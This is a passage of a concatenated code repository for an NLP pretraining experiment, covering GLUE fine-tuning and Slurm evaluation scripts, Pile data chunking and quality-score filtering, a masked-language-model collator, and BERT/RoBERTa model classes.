sentence1_key, sentence2_key = "sentence1", "sentence2" else: if len(non_label_column_names) >= 2: sentence1_key, sentence2_key = non_label_column_names[:2] else: sentence1_key, sentence2_key = non_label_column_names[0], None # Padding strategy if data_args.pad_to_max_length: padding = "max_length" else: # We will pad later, dynamically at batch creation, to the max sequence length in each batch padding = False # Some models have set the order of the labels to use, so let's make sure we do use it. label_to_id = None if ( model.config.label2id != PretrainedConfig(num_labels=num_labels).label2id and data_args.task_name is not None and not is_regression ): # Some have all caps in their config, some don't. label_name_to_id = {k.lower(): v for k, v in model.config.label2id.items()} if list(sorted(label_name_to_id.keys())) == list(sorted(label_list)): label_to_id = {i: int(label_name_to_id[label_list[i]]) for i in range(num_labels)} else: logger.warning( "Your model seems to have been trained with labels, but they don't match the dataset: ", f"model labels: {list(sorted(label_name_to_id.keys()))}, dataset labels: {list(sorted(label_list))}." "\nIgnoring the model labels as a result.", ) elif data_args.task_name is None and not is_regression: label_to_id = {v: i for i, v in enumerate(label_list)} if label_to_id is not None: model.config.label2id = label_to_id model.config.id2label = {id: label for label, id in config.label2id.items()} elif data_args.task_name is not None and not is_regression: model.config.label2id = {l: i for i, l in enumerate(label_list)} model.config.id2label = {id: label for label, id in config.label2id.items()} if data_args.max_seq_length > tokenizer.model_max_length: logger.warning( f"The max_seq_length passed ({data_args.max_seq_length}) is larger than the maximum length for the" f"model ({tokenizer.model_max_length}). Using max_seq_length={tokenizer.model_max_length}." ) max_seq_length = min(data_args.max_seq_length, tokenizer.model_max_length) def preprocess_function(examples): # Tokenize the texts args = ( (examples[sentence1_key],) if sentence2_key is None else (examples[sentence1_key], examples[sentence2_key]) ) result = tokenizer(*args, padding=padding, max_length=max_seq_length, truncation=True) # Map labels to IDs (not necessary for GLUE tasks) if label_to_id is not None and "label" in examples: result["label"] = [(label_to_id[l] if l != -1 else -1) for l in examples["label"]] return result with training_args.main_process_first(desc="dataset map pre-processing"): raw_datasets = raw_datasets.map( preprocess_function, batched=True, load_from_cache_file=not data_args.overwrite_cache, desc="Running tokenizer on dataset", ) if training_args.do_train: if "train" not in raw_datasets: raise ValueError("--do_train requires a train dataset") train_dataset = raw_datasets["train"] if data_args.max_train_samples is not None: train_dataset = train_dataset.select(range(data_args.max_train_samples)) if training_args.do_eval: if "validation" not in raw_datasets and "validation_matched" not in raw_datasets: raise ValueError("--do_eval requires a validation dataset") eval_dataset = raw_datasets["validation_matched" if data_args.task_name == "mnli" else "validation"] if data_args.max_eval_samples is not None: eval_dataset = eval_dataset.select(range(data_args.max_eval_samples)) if training_args.do_predict or data_args.task_name is not None or data_args.test_file is not None: if "test" not in raw_datasets and "test_matched" not in raw_datasets: raise ValueError("--do_predict requires a test dataset") predict_dataset = raw_datasets["test_matched" if data_args.task_name == "mnli" else "test"] if data_args.max_predict_samples is not None: predict_dataset = predict_dataset.select(range(data_args.max_predict_samples)) # Log a few random samples from the training set: if training_args.do_train: for index in random.sample(range(len(train_dataset)), 3): logger.info(f"Sample {index} of the training set: {train_dataset[index]}.") # Get the metric function if data_args.task_name is not None: metric = load_metric("glue", data_args.task_name) else: metric = load_metric("accuracy") # You can define your custom compute_metrics function. It takes an `EvalPrediction` object (a namedtuple with a # predictions and label_ids field) and has to return a dictionary string to float. def compute_metrics(p: EvalPrediction): preds = p.predictions[0] if isinstance(p.predictions, tuple) else p.predictions preds = np.squeeze(preds) if is_regression else np.argmax(preds, axis=1) if data_args.task_name is not None: result = metric.compute(predictions=preds, references=p.label_ids) if len(result) > 1: result["combined_score"] = np.mean(list(result.values())).item() return result elif is_regression: return {"mse": ((preds - p.label_ids) ** 2).mean().item()} else: return {"accuracy": (preds == p.label_ids).astype(np.float32).mean().item()} # Data collator will default to DataCollatorWithPadding, so we change it if we already did the padding. if data_args.pad_to_max_length: data_collator = default_data_collator elif training_args.fp16: data_collator = DataCollatorWithPadding(tokenizer, pad_to_multiple_of=8) else: data_collator = None # Initialize our Trainer trainer = Trainer( model=model, args=training_args, train_dataset=train_dataset if training_args.do_train else None, eval_dataset=eval_dataset if training_args.do_eval else None, compute_metrics=compute_metrics, tokenizer=tokenizer, data_collator=data_collator, ) # Training if training_args.do_train: checkpoint = None if training_args.resume_from_checkpoint is not None: checkpoint = training_args.resume_from_checkpoint elif last_checkpoint is not None: checkpoint = last_checkpoint train_result = trainer.train(resume_from_checkpoint=checkpoint) metrics = train_result.metrics max_train_samples = ( data_args.max_train_samples if data_args.max_train_samples is not None else len(train_dataset) ) metrics["train_samples"] = min(max_train_samples, len(train_dataset)) trainer.save_model() # Saves the tokenizer too for easy upload trainer.log_metrics("train", metrics) trainer.save_metrics("train", metrics) trainer.save_state() # Evaluation if training_args.do_eval: logger.info("*** Evaluate ***") # Loop to handle MNLI double evaluation (matched, mis-matched) tasks = [data_args.task_name] eval_datasets = [eval_dataset] if data_args.task_name == "mnli": tasks.append("mnli-mm") eval_datasets.append(raw_datasets["validation_mismatched"]) for eval_dataset, task in zip(eval_datasets, tasks): metrics = trainer.evaluate(eval_dataset=eval_dataset) max_eval_samples = ( data_args.max_eval_samples if data_args.max_eval_samples is not None else len(eval_dataset) ) metrics["eval_samples"] = min(max_eval_samples, len(eval_dataset)) trainer.log_metrics("eval", metrics) trainer.save_metrics("eval", metrics) if training_args.do_predict: logger.info("*** Predict ***") # Loop to handle MNLI double evaluation (matched, mis-matched) tasks = [data_args.task_name] predict_datasets = [predict_dataset] if data_args.task_name == "mnli": tasks.append("mnli-mm") predict_datasets.append(raw_datasets["test_mismatched"]) for predict_dataset, task in zip(predict_datasets, tasks): # Removing the `label` columns because it contains -1 and Trainer won't like that. predict_dataset = predict_dataset.remove_columns("label") predictions = trainer.predict(predict_dataset, metric_key_prefix="predict").predictions predictions = np.squeeze(predictions) if is_regression else np.argmax(predictions, axis=1) output_predict_file = os.path.join(training_args.output_dir, f"predict_results_{task}.txt") if trainer.is_world_process_zero(): with open(output_predict_file, "w") as writer: logger.info(f"***** Predict results {task} *****") writer.write("index\tprediction\n") for index, item in enumerate(predictions): if is_regression: writer.write(f"{index}\t{item:3.3f}\n") else: item = label_list[item] writer.write(f"{index}\t{item}\n") kwargs = {"finetuned_from": model_args.model_name_or_path, "tasks": "text-classification"} if data_args.task_name is not None: kwargs["language"] = "en" kwargs["dataset_tags"] = "glue" kwargs["dataset_args"] = data_args.task_name kwargs["dataset"] = f"GLUE {data_args.task_name.upper()}" if training_args.push_to_hub: trainer.push_to_hub(**kwargs) else: trainer.create_model_card(**kwargs) def _mp_fn(index): # For xla_spawn (TPUs) main() if __name__ == "__main__": main() ================================================ FILE: experimental/glue_eval/run_glue_dist.sh ================================================ #!/bin/bash source config.sh gpus=1 mem=8G cpus=2 PRETRAINED_PATH=$1 BASENAME=${2:-"bert-base-uncased"} MAX_LEN=${3:-512} SAVE_PATH=${PRETRAINED_PATH} mkdir -p ${SAVE_PATH}/logs for SEED in 1 2 3 4 5; do TASK_NAME="MNLI" LR=1e-5 EPOCHS=10 BATCH_SIZE=32 mnli_jid=$(sbatch \ --parsable \ --gres=gpu:${gpus} \ --mem $mem \ -c $cpus \ --output ${SAVE_PATH}/logs/${TASK_NAME}_${EPOCHS}_${LR}_${BATCH_SIZE}_${SEED} \ ${cluster_info} \ glue_eval/run_glue_for_seed_task.sh ${PRETRAINED_PATH} ${TASK_NAME} ${SEED} ${EPOCHS} ${LR} ${BATCH_SIZE} ${CACHE} ${BASENAME}) echo -n "${mnli_jid} " # Following RoBERTa paper, initialize RTE/MRPC/STS from MNLI for TASK_NAME in "RTE" "MRPC" "STSB"; do if [[ "${TASK_NAME}" = "RTE" ]]; then LR=2e-5 EPOCHS=10 BATCH_SIZE=16 elif [[ "${TASK_NAME}" = "MRPC" ]]; then LR=1e-5 EPOCHS=10 BATCH_SIZE=16 elif [[ "${TASK_NAME}" = "STSB" ]]; then LR=2e-5 EPOCHS=10 BATCH_SIZE=16 fi jid=$(sbatch \ --parsable \ --dependency ${mnli_jid} \ --gres=gpu:${gpus} \ --mem $mem \ -c $cpus \ --output ${SAVE_PATH}/logs/${TASK_NAME}_${EPOCHS}_${LR}_${BATCH_SIZE}_${SEED} \ ${cluster_info} \ glue_eval/run_glue_for_seed_task.sh ${SAVE_PATH}/finetune-runs/MNLI_EPOCHS10_BS32_LR1e-5_seed${SEED} ${TASK_NAME} ${SEED} ${EPOCHS} ${LR} ${BATCH_SIZE} ${CACHE} ${BASENAME} ${SAVE_PATH} ) echo -n "${jid} " done done for TASK_NAME in "COLA"; do LR=1e-5 EPOCHS=10 BATCH_SIZE=16 for SEED in 1 2 3 4 5; do jid=$(sbatch \ --parsable \ --gres=gpu:${gpus} \ --mem $mem \ -c $cpus \ --output ${SAVE_PATH}/logs/${TASK_NAME}_${EPOCHS}_${LR}_${BATCH_SIZE}_${SEED} \ ${cluster_info} \ glue_eval/run_glue_for_seed_task.sh ${PRETRAINED_PATH} ${TASK_NAME} ${SEED} ${EPOCHS} ${LR} ${BATCH_SIZE} ${CACHE} ${BASENAME}) echo -n "${jid} " done done for TASK_NAME in "QQP" "SST2" "QNLI"; do if [[ "${TASK_NAME}" = "QQP" ]]; then LR=1e-5 EPOCHS=10 BATCH_SIZE=32 elif [[ "${TASK_NAME}" = "SST2" ]]; then LR=1e-5 EPOCHS=10 BATCH_SIZE=32 elif [[ "${TASK_NAME}" = "QNLI" ]]; then LR=1e-5 EPOCHS=10 BATCH_SIZE=32 fi for SEED in 1 2 3 4 5; do jid=$(sbatch \ --parsable \ --gres=gpu:${gpus} \ --mem $mem \ -c $cpus \ --output ${SAVE_PATH}/logs/${TASK_NAME}_${EPOCHS}_${LR}_${BATCH_SIZE}_${SEED} \ ${cluster_info} \ glue_eval/run_glue_for_seed_task.sh ${PRETRAINED_PATH} ${TASK_NAME} ${SEED} ${EPOCHS} ${LR} ${BATCH_SIZE} ${CACHE} ${BASENAME}) echo -n "${jid} " done done ================================================ FILE: experimental/glue_eval/run_glue_for_seed_task.sh ================================================ #!/bin/bash set -x PRETRAINED_PATH=$1 TASK_NAME=$2 SEED=$3 EPOCHS=$4 LR=$5 BATCH_SIZE=$6 CACHE=$7 BASENAME=${8:-"bert-base-uncased"} SAVE_PATH=${9:-${PRETRAINED_PATH}} MAX_LEN=${10:-128} mkdir -p $CACHE export HF_HOME=$CACHE export TRANSFORMERS_CACHE=$CACHE export HF_DATASETS_CACHE=$CACHE export HF_DATASETS_IN_MEMORY_MAX_SIZE=0 export TORCH_EXTENSIONS_DIR=$CACHE export WANDB_PROJECT="glue" FINETUNE_PATH=${SAVE_PATH}/finetune-runs mkdir -p $FINETUNE_PATH RUN=${TASK_NAME}_EPOCHS${EPOCHS}_BS${BATCH_SIZE}_LR${LR}_seed${SEED} RUN_DIR=${FINETUNE_PATH}/${RUN} mkdir -p $RUN_DIR ACCUM=1 if [[ $(ls ${RUN_DIR}/eval_results*) ]]; then echo "${RUN} finished" else python glue_eval/run_glue.py \ --fp16 \ --model_name_or_path $PRETRAINED_PATH \ --tokenizer_name ${BASENAME} \ --config_name ${BASENAME} \ --task_name $TASK_NAME \ --do_train \ --do_eval \ --max_seq_length ${MAX_LEN} \ --per_device_train_batch_size ${BATCH_SIZE} \ --gradient_accumulation_steps ${ACCUM} \ --num_train_epochs ${EPOCHS} \ --run_name ${RUN_DIR} \ --logging_steps 100 \ --save_strategy epoch \ --evaluation_strategy epoch \ --learning_rate ${LR} \ --seed ${SEED} \ --output_dir ${RUN_DIR} \ --logging_dir ${RUN_DIR}/tensorboard \ --max_grad_norm 1.0 \ --lr_scheduler_type polynomial \ --weight_decay 0.1 \ --load_best_model_at_end \ --save_total_limit 1 \ --adam_beta1 0.9 \ --adam_beta2 0.98 \ --adam_epsilon 1e-6 \ --warmup_ratio 0.06 \ --overwrite_output_dir fi ================================================ FILE: experimental/preprocessing/quality_scores/compute_quality_stats.py ================================================ from pathlib import Path import json import numpy as np import os from itertools import islice from joblib import Parallel, delayed from nltk.tokenize import word_tokenize from collections import Counter from tqdm import tqdm from multiprocessing import Pool import string from nltk.corpus import stopwords import nltk nltk.download('stopwords') stop = set(stopwords.words('english') + list(string.punctuation)) numeric = set(list(string.digits)) def transform_text(text): return ' '.join(word_tokenize(text.lower())) def length_filter(x_tok): return len(x_tok) def repeating_filter(x_tok): if len(x_tok) == 0: return 0 counts = Counter(x_tok) ratio = (max(counts.values()) / len(x_tok)) return ratio def mostly_uninformative_filter(x_tok): if len(x_tok) == 0: return 0 informative_ratio = (len([x for x in x_tok if x not in stop]) / len(x_tok)) return informative_ratio def numeric_filter(x_tok): if len(x_tok) == 0: return 0 ratio = (len([x for x in x_tok if x not in numeric]) / len(x_tok)) return ratio filter_funcs = [length_filter, repeating_filter, mostly_uninformative_filter, numeric_filter] def process(example): line_json = json.loads(example) text_tok = transform_text(line_json['contents']).split() return [fn(text_tok) for fn in filter_funcs] if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description='compute statistic for quality filtering') parser.add_argument('--ds_path', type=str, help='path to jsonl dataset') parser.add_argument('--chunksize', type=int, default=100000, help='chunk size') parser.add_argument('--no_parallel', action='store_true', help='dont do in parallel') args = parser.parse_args() ds_path = Path(args.ds_path) num_cpus = len(os.sched_getaffinity(0)) print(f"Num cpus: {num_cpus}") if args.no_parallel: scores = [] with open(ds_path, 'r') as f: for line in f: processed = process(line) scores.append(processed) if len(scores) % 100000 == 0: print(len(scores), flush=True) else: pool = Pool(num_cpus) chunk_size = args.chunksize scores = [] with open(ds_path, 'r') as f: for processed in pool.imap(process, f, chunksize=chunk_size): scores.append(processed) if len(scores) % 100000 == 0: print(len(scores), flush=True) pool.close() scores = np.asarray(scores) np.savez(str(ds_path.parent / (ds_path.name + '_qualityscores.npz')), length=scores[:, 0], repeating_ratio=scores[:, 1], informative_ratio=scores[:, 2], numeric_ratio=scores[:, 3]) ================================================ FILE: experimental/preprocessing/quality_scores/merge_quality_scores.py ================================================ import subprocess import numpy as np import os import argparse parser = argparse.ArgumentParser(description='merge quality stats') parser.add_argument('--pile_path', type=str, help='path to pile') args = parser.parse_args() subsets = ['01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29'] filenames_qualityscores = [f"{args.pile_path}/chunked/{subset}_128/{subset}_128.json_qualityscores.npz" for subset in subsets] # merge the numpy qualityscores = [np.load(fn) for fn in filenames_qualityscores] print("quality scores loaded") keys = qualityscores[0].keys() concatted = {k: np.concatenate([qs[k] for qs in qualityscores], axis=0) for k in keys} print("saving") np.savez(f"{args.pile_path}/chunked/combined_all.json_qualityscores.npz", **concatted) ================================================ FILE: experimental/preprocessing/quality_scores/run_merge_quality_scores.sh ================================================ #!/bin/bash source config.sh python merge_quality_scores.py --pile_path ${PILE_PATH} ================================================ FILE: experimental/preprocessing/quality_scores/run_quality_stats.sh ================================================ #!/bin/bash DS_PATH=$1 python preprocessing/quality_scores/compute_quality_stats.py --ds_path ${DS_PATH} ================================================ FILE: experimental/preprocessing/quality_scores/run_slurm_quality_stats.sh ================================================ #!/bin/bash source config.sh LOGDIR=logs/preprocessing/qualitystats mkdir -p ${LOGDIR} for SUBSET in 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29; do jid=$(sbatch \ --parsable \ ${cluster_info} \ --mem 24G \ -c 16 \ --output ${LOGDIR}/chunk_${SUBSET} \ preprocessing/quality_scores/run_quality_stats.sh ${PILE_PATH}/chunked/${SUBSET}_128/${SUBSET}_128.json) echo -n "${jid} " done # validation data jid=$(sbatch \ --parsable \ ${cluster_info} \ --mem 24G \ -c 16 \ --output ${LOGDIR}/chunk_val \ run_quality_stats.sh ${PILE_PATH}/chunked/VAL_128/val_128.json) echo -n "${jid} " ================================================ FILE: experimental/preprocessing/reformat_and_chunk_data.py ================================================ import json import numpy as np from datasets import load_dataset from argparse import ArgumentParser import os from pathlib import Path from tqdm import tqdm CHUNK_LENGTH=128 parser = ArgumentParser() parser.add_argument('--input_dir', type=str) parser.add_argument('--output_dir', type=str) parser.add_argument('--input_filename', default="22.jsonl.zst", type=str) parser.add_argument('--chunk_length', default=128, type=int) parser.add_argument('--output_filename', default=None, type=str) parser.add_argument('--cache_dir', type=str) def chunk_examples(examples, chunk_length=CHUNK_LENGTH): chunks, metadata = [], [] for sentence, meta in zip(examples['text'], examples['meta']): words = sentence.split(' ') curr_chunks = [' '.join(words[i:i + chunk_length]) for i in range(0, len(words), chunk_length)] chunks += curr_chunks metadata += [meta] * len(curr_chunks) return {'contents': chunks, 'metadata': metadata} def add_id(examples, idx): examples['id'] = idx return examples def main(args): CHUNK_LENGTH = args.chunk_length if not os.path.exists(args.output_dir): os.makedirs(args.output_dir) if args.output_filename is None: args.output_filename = args.input_filename.split('.')[0] + f'_{args.chunk_length}.json' print("Beginning dataset load") ds = load_dataset('json', data_files=[f'{args.input_dir}/{args.input_filename}'], cache_dir=args.cache_dir, streaming=True)['train'] column_names = list(next(iter(ds)).keys()) ds = ds.map(chunk_examples, batched=True, remove_columns=column_names) print("Done loading dataset") ds = ds.map(add_id, batched=True, with_indices=True) print("Saving file") with open(Path(args.output_dir) / args.output_filename, 'w') as f: for ex in tqdm(iter(ds)): f.write(json.dumps(ex).strip() + '\n') if __name__=="__main__": args = parser.parse_args() main(args) ================================================ FILE: experimental/preprocessing/run.sh ================================================ #!/bin/bash source config.sh source ${VIRTUAL_ENV}/bin/activate mkdir -p $CACHE export HF_HOME=$CACHE export TRANSFORMERS_CACHE=$CACHE export HF_DATASETS_CACHE=$CACHE export HF_DATASETS_IN_MEMORY_MAX_SIZE=0 export TORCH_EXTENSIONS_DIR=$CACHE ARGS=$1 python preprocessing/reformat_and_chunk_data.py ${ARGS} ================================================ FILE: experimental/preprocessing/run_slurm.sh ================================================ #!/bin/bash source config.sh LOGDIR=logs/preprocess mkdir -p ${LOGDIR} for SUBSET in 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29; do jid=$(sbatch \ --parsable \ ${cluster_info} \ --mem 48G \ -c 16 \ --output ${LOGDIR}/chunk_${SUBSET} \ preprocessing/run.sh "--input_filename ${SUBSET}.jsonl.zst --chunk_length 128 --input_dir ${PILE_PATH} --output_dir ${PILE_PATH}/chunked/${SUBSET}_128 --cache_dir ${CACHE}}") echo -n "${jid} " done # validation data jid=$(sbatch \ --parsable \ ${cluster_info} \ --mem 48G \ -c 16 \ --output ${LOGDIR}/chunk_val \ preprocessing/run.sh "--input_filename val.jsonl.zst --chunk_length 128 --input_dir ${PILE_PATH} --output_dir ${PILE_PATH}/chunked/VAL_128 --cache_dir ${CACHE}}") echo -n "${jid} " ================================================ FILE: experimental/requirements.txt ================================================ datasets pandas tqdm numpy joblib nltk fasttext ================================================ FILE: experimental/train/accelerate_config.yaml ================================================ compute_environment: LOCAL_MACHINE distributed_type: MULTI_GPU fp16: true machine_rank: 0 main_process_ip: null main_process_port: 1234 main_training_function: main num_machines: 1 num_processes: 4 ================================================ FILE: experimental/train/collator.py ================================================ import random import warnings from dataclasses import dataclass from typing import Any, Callable, Dict, List, NewType, Optional, Tuple, Union import torch from transformers.tokenization_utils_base import BatchEncoding, PreTrainedTokenizerBase @dataclass class DataCollatorForLanguageModeling: tokenizer: PreTrainedTokenizerBase mlm: bool = True mlm_probability: float = 0.15 pad_to_multiple_of: Optional[int] = None def __post_init__(self): if self.mlm and self.tokenizer.mask_token is None: raise ValueError( "This tokenizer does not have a mask token which is necessary for masked language modeling. " "You should pass `mlm=False` to train on causal language modeling instead." ) def __call__( self, examples: List[Union[List[int], torch.Tensor, Dict[str, torch.Tensor]]] ) -> Dict[str, torch.Tensor]: # Handle dict or lists with proper padding and conversion to tensor. batch = self.tokenizer.pad(examples, return_tensors="pt", pad_to_multiple_of=self.pad_to_multiple_of) # If special token mask has been preprocessed, pop it from the dict. special_tokens_mask = batch.pop("special_tokens_mask", None) batch.pop("id", None) init_labels = batch.pop("labels", None) input_ids = batch["input_ids"].clone() if self.mlm: batch["input_ids"], batch["labels"] = self.mask_tokens( input_ids, special_tokens_mask=special_tokens_mask, init_labels=init_labels, ) else: batch.pop("labels", None) return batch def mask_tokens( self, inputs: torch.Tensor, special_tokens_mask: Optional[torch.Tensor] = None, init_labels: Optional[torch.Tensor] = None, ) -> Tuple[torch.Tensor, torch.Tensor]: """ Prepare masked tokens inputs/labels for masked language modeling: 80% MASK, 10% random, 10% original. """ labels = inputs.clone() # We sample a few tokens in each sequence for MLM training (with probability `self.mlm_probability`) probability_matrix = torch.full(labels.shape, self.mlm_probability) if special_tokens_mask is None: special_tokens_mask = [ self.tokenizer.get_special_tokens_mask(val, already_has_special_tokens=True) for val in labels.tolist() ] special_tokens_mask = torch.tensor(special_tokens_mask, dtype=torch.bool) else: special_tokens_mask = special_tokens_mask.bool() probability_matrix.masked_fill_(special_tokens_mask, value=0.0) masked_indices = torch.bernoulli(probability_matrix).bool() labels[~masked_indices] = -100 # We only compute loss on masked tokens if init_labels is not None: labels[inputs == self.tokenizer.convert_tokens_to_ids(self.tokenizer.mask_token)] = init_labels # 80% of the time, we replace masked input tokens with tokenizer.mask_token ([MASK]) indices_replaced = torch.bernoulli(torch.full(labels.shape, 0.8)).bool() & masked_indices inputs[indices_replaced] = self.tokenizer.convert_tokens_to_ids(self.tokenizer.mask_token) # 10% of the time, we replace masked input tokens with random word indices_random = torch.bernoulli(torch.full(labels.shape, 0.5)).bool() & masked_indices & ~indices_replaced random_words = torch.randint(len(self.tokenizer), labels.shape, dtype=torch.long) inputs[indices_random] = random_words[indices_random] # The rest of the time (10% of the time) we keep the masked input tokens unchanged return inputs, labels ================================================ FILE: experimental/train/model.py ================================================ import logging import torch from torch import nn from torch.nn import CrossEntropyLoss from transformers import BertPreTrainedModel, BertModel from transformers.models.bert.modeling_bert import BertOnlyMLMHead from transformers import RobertaPreTrainedModel, RobertaModel from transformers.models.roberta.modeling_roberta import RobertaLMHead from transformers.modeling_outputs import MaskedLMOutput from transformers.utils.dummy_pt_objects import NoRepeatNGramLogitsProcessor logger = logging.getLogger(__name__) class BertForMaskedLM(BertPreTrainedModel): _keys_to_ignore_on_load_unexpected = [r"pooler"] _keys_to_ignore_on_load_missing = [r"position_ids", r"predictions.decoder.bias"] def __init__(self, config): super().__init__(config) if config.is_decoder: logger.warning( "If you want to use `BertForMaskedLM` make sure `config.is_decoder=False` for " "bi-directional self-attention." ) self.bert = BertModel(config, add_pooling_layer=False) self.cls = BertOnlyMLMHead(config) self.init_weights() def get_output_embeddings(self): return self.cls.predictions.decoder def set_output_embeddings(self, new_embeddings): self.cls.predictions.decoder = new_embeddings def set_args(self, args): self.args = args def forward( self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, head_mask=None, inputs_embeds=None, encoder_hidden_states=None, encoder_attention_mask=None, labels=None, output_attentions=None, output_hidden_states=None, return_dict=None, return_loss=True, ): return_dict = return_dict if return_dict is not None else self.config.use_return_dict loss_fct = CrossEntropyLoss() # -100 index = padding token outputs = self.bert( input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, position_ids=position_ids, head_mask=head_mask, inputs_embeds=inputs_embeds, encoder_hidden_states=encoder_hidden_states, encoder_attention_mask=encoder_attention_mask, output_attentions=output_attentions, output_hidden_states=output_hidden_states, return_dict=return_dict, ) sequence_output = outputs[0] # compute mlm loss loss = None if labels is not None: prediction_scores = self.cls(sequence_output) l_shape = labels.shape loss = loss_fct(prediction_scores.view(-1, self.config.vocab_size), labels.view(-1)) else: loss = self.cls(sequence_output).sum() * 0.0 return MaskedLMOutput( loss=loss, logits=prediction_scores, hidden_states=outputs.hidden_states, attentions=outputs.attentions, ) class RobertaForMaskedLM(RobertaPreTrainedModel): _keys_to_ignore_on_load_unexpected = [r"pooler"] _keys_to_ignore_on_load_missing = [r"position_ids", r"predictions.decoder.bias"] def __init__(self, config): super().__init__(config) if config.is_decoder: logger.warning( "If you want to use `RobertaForMaskedLM` make sure `config.is_decoder=False` for " "bi-directional self-attention." ) self.roberta = RobertaModel(config, add_pooling_layer=False) self.lm_head = RobertaLMHead(config) self.init_weights() def get_output_embeddings(self): return self.lm_head.decoder def set_output_embeddings(self, new_embeddings): self.lm_head.decoder = new_embeddings def set_args(self, args): self.args = args def forward( self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, head_mask=None, inputs_embeds=None, encoder_hidden_states=None, encoder_attention_mask=None, labels=None, output_attentions=None, output_hidden_states=None, return_dict=None, return_loss=True, ): return_dict = return_dict if return_dict is not None else self.config.use_return_dict loss_fct = CrossEntropyLoss() # -100 index = padding token outputs = self.roberta( input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, position_ids=position_ids, head_mask=head_mask, inputs_embeds=inputs_embeds, encoder_hidden_states=encoder_hidden_states, encoder_attention_mask=encoder_attention_mask, output_attentions=output_attentions, output_hidden_states=output_hidden_states, return_dict=return_dict, ) sequence_output = outputs[0] # compute mlm loss mlm_loss = None if labels is not None: prediction_scores = self.lm_head(sequence_output) l_shape = labels.shape mlm_loss = loss_fct(prediction_scores.view(-1, self.config.vocab_size), labels.view(-1)) else: if self.lm_head is not None: mlm_loss = self.lm_head(sequence_output).sum() * 0.0 else: mlm_loss = 0.0 return MaskedLMOutput( loss=mlm_loss, logits=prediction_scores, hidden_states=outputs.hidden_states, attentions=outputs.attentions, ) ================================================ FILE: experimental/train/preprocess_general.sh ================================================ #!/bin/bash source config.sh source ${VIRTUAL_ENV}/bin/activate TASK=$1 PRETRAIN_DATA_PATH=$2 CACHE=$3 OTHER_ARGS=$4 MAXLEN=128 mkdir -p $CACHE export HF_HOME=$CACHE export TRANSFORMERS_CACHE=$CACHE export HF_DATASETS_CACHE=$CACHE export HF_DATASETS_IN_MEMORY_MAX_SIZE=0 export TORCH_EXTENSIONS_DIR=$CACHE export TMPDIR=$CACHE python run_pipeline.py \ --pipeline_step preprocess \ --preprocessing_num_workers 32 \ --cache_dir ${CACHE} \ --dataset_path ${PRETRAIN_DATA_PATH} \ --max_ckpts_to_keep 3 \ --max_length ${MAXLEN} \ --pad_to_max_length \ --model_name_or_path bert-base-uncased \ --per_device_train_batch_size 256 \ --per_device_eval_batch_size 256 \ --gradient_accumulation_steps 1 \ --task_name $TASK \ --save_final \ --seed 42 \ ${OTHER_ARGS} ================================================ FILE: experimental/train/pretrain_general.sh ================================================ #!/bin/bash source config.sh source ${VIRTUAL_ENV}/bin/activate TASK=$1 PRETRAIN_DATA_PATH=$2 CUDA_DEVICES=$3 NUM_GPUS=$4 SAVENAME=$5 PORT=$6 PRETRAIN_OUTPUT_DIR=$7 CACHE=$8 OTHER_ARGS=$9 LR=${10:-"5e-4"} mkdir -p $CACHE export HF_HOME=$CACHE export TRANSFORMERS_CACHE=$CACHE export HF_DATASETS_CACHE=$CACHE export HF_DATASETS_IN_MEMORY_MAX_SIZE=0 export TORCH_EXTENSIONS_DIR=$CACHE export TMPDIR=$CACHE # We expect 4 GPUs / RTX 3090 BATCH_SIZE=64 GRAD_ACCUM=16 mkdir -p $PRETRAIN_OUTPUT_DIR WD=0.01 WARMUP=3000 OUTPUT_PATH=${PRETRAIN_OUTPUT_DIR}/${SAVENAME}_pretrain MAXLEN=128 accelerate launch \ --config_file ./accelerate_config.yaml \ --main_process_port ${PORT} \ --num_processes ${NUM_GPUS} \ run_pipeline.py \ --pipeline_step pretrain \ --cache_dir ${CACHE} \ --dataset_path ${PRETRAIN_DATA_PATH} \ --max_train_steps 50000 \ --steps_to_eval 1000 \ --steps_to_save 12500 \ --steps_to_log 100 \ --max_ckpts_to_keep 4 \ --max_length ${MAXLEN} \ --pad_to_max_length \ --model_name_or_path bert-base-uncased \ --output_dir $OUTPUT_PATH \ --per_device_train_batch_size ${BATCH_SIZE} \ --per_device_eval_batch_size 256 \ --gradient_accumulation_steps ${GRAD_ACCUM} \ --cuda_devices $CUDA_DEVICES \ --task_name $TASK \ --save_final \ --weight_decay $WD \ --learning_rate $LR \ --num_warmup_steps $WARMUP \ --seed 42 \ ${OTHER_ARGS} ================================================ FILE: experimental/train/requirements.txt ================================================ accelerate==0.10.0 pandas==1.1.5 transformers==4.12.3 nltk>=3.6.2 torch==1.10.1 datasets wandb scipy scikit-learn ================================================ FILE: experimental/train/run_pipeline.py ================================================ # Adapted from https://github.com/yaoxingcheng/TLM and HuggingFace example import argparse import logging import math import os, sys import random import torch import datasets from datasets import load_dataset, load_metric, load_from_disk, DatasetDict, concatenate_datasets from torch.utils.data.dataloader import DataLoader from tqdm.auto import tqdm from pathlib import Path import wandb import transformers from accelerate import Accelerator, DeepSpeedPlugin from transformers import ( AdamW, AutoConfig, AutoModel, AutoModelForSequenceClassification, AutoTokenizer, PreTrainedTokenizerFast, DataCollatorWithPadding, PretrainedConfig, SchedulerType, default_data_collator, get_scheduler, set_seed, ) from transformers.utils.versions import require_version from collator import DataCollatorForLanguageModeling from model import BertForMaskedLM from trainer import PretrainTrainer logger = logging.getLogger(__name__) def parse_args(): parser = argparse.ArgumentParser(description="Train a Transformer model") # about active sampling parser.add_argument( "--tokenizer_file", type=str, default=None, help="The name of the tokenizer file or path" ) parser.add_argument( "--pipeline_step", type=str, default='preprocess', help="step of the pipeline - preprocess, pretrain" ) parser.add_argument( "--save_final", action="store_true", help="save the final checkpoint", ) parser.add_argument( "--from_scratch", action="store_true", help="training from scratch", ) parser.add_argument( "--from_ckpt", type=str, default=None, help="restore the model training process from a checkpoint", ) parser.add_argument( "--dataset_path", type=str, default=None, help="path to the pretraining dataset" ) parser.add_argument( "--cache_dir", type=str, default='/scr', help="path to cache directory" ) parser.add_argument( 